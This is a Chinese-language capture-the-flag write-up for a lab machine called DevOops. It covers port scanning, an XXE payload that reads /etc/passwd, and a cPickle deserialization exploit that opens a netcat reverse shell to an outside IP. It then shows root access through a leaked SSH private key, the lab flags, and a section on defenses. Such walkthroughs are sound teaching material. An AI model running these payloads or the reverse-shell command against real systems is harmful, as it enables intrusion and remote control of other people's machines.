[Meachines] [Medium] DevOops XXE-XML-RSS+cPickle反序列化+git-leak权限提升
字数 990 2025-08-29 08:29:58
XXE-XML-RSS + cPickle反序列化 + git-leak权限提升综合漏洞利用教学
1. 信息收集阶段
1.1 目标识别
- IP地址: 10.10.10.91
- 开放端口:
- 22/tcp: OpenSSH 7.2p2 (Ubuntu)
- 5000/tcp: Gunicorn 19.7.1 HTTP服务
1.2 端口扫描方法
ip='10.10.10.91'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
1.3 Web目录扫描
使用feroxbuster扫描Web服务:
feroxbuster -u 'http://10.10.10.91:5000'
2. XXE (XML External Entity)漏洞利用
2.1 漏洞背景
目标系统存在一个RSS XML解析器,未正确过滤外部实体引用,导致XXE漏洞。
2.2 RSS XML结构示例
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Example RSS</title>
<link>http://example.com/</link>
<description>Example RSS Feed</description>
<item>
<title>Testing</title>
<link>http://example.com/testing</link>
<description>This is a test</description>
<author>xxxx</author>
</item>
</channel>
</rss>
2.3 XXE利用Payload
创建exp.xml文件读取/etc/passwd:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<entry>
<Author>&xxe;</Author>
<Subject>Testing</Subject>
<Content>This is a test</Content>
</entry>
2.4 利用方法
将上述XML文件上传至目标系统的/upload端点,触发XXE漏洞读取敏感文件。
3. cPickle反序列化漏洞利用
3.1 漏洞原理
Python的cPickle模块在反序列化时不安全,可导致任意代码执行。
3.2 恶意Pickle对象生成
import os
import cPickle as pickle
import base64
class Exploit(object):
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return (os.system, (self.cmd,))
print base64.urlsafe_b64encode(pickle.dumps(Exploit('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.33 443 >/tmp/f')))
3.3 利用步骤
- 生成恶意Pickle对象
- 将Base64编码的Pickle数据提交到目标系统
- 目标系统反序列化时触发命令执行
- 监听443端口获取反向shell
4. Git信息泄露与权限提升
4.1 发现Git泄露
在系统中发现包含敏感信息的Git仓库或配置文件。
4.2 获取SSH私钥
发现RSA私钥:
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
[...省略部分内容...]
EGau6dIbQaUUSOEE=
-----END RSA PRIVATE KEY-----
4.3 权限提升方法
- 将私钥保存到本地/tmp/id_rsa
- 设置正确权限:
chmod 600 /tmp/id_rsa - 使用私钥SSH登录:
ssh root@127.0.0.1 -i /tmp/id_rsa
5. 标志获取
- 用户flag: 50894ddf8f7c71addb19c732f069336e
- 根flag: 22c6e39d1e1159dbcffbf6e5b6ed50b2
6. 防御措施
6.1 防止XXE漏洞
- 禁用外部实体解析
- 使用安全的XML解析器
- 实施输入验证和过滤
6.2 防止反序列化漏洞
- 避免反序列化不可信数据
- 使用JSON等安全替代方案
- 实施类型检查和白名单
6.3 防止信息泄露
- 确保.git目录不可访问
- 定期检查系统敏感文件权限
- 使用.gitignore排除敏感文件
6.4 加强SSH安全
- 禁用root远程登录
- 使用密钥认证而非密码
- 定期轮换密钥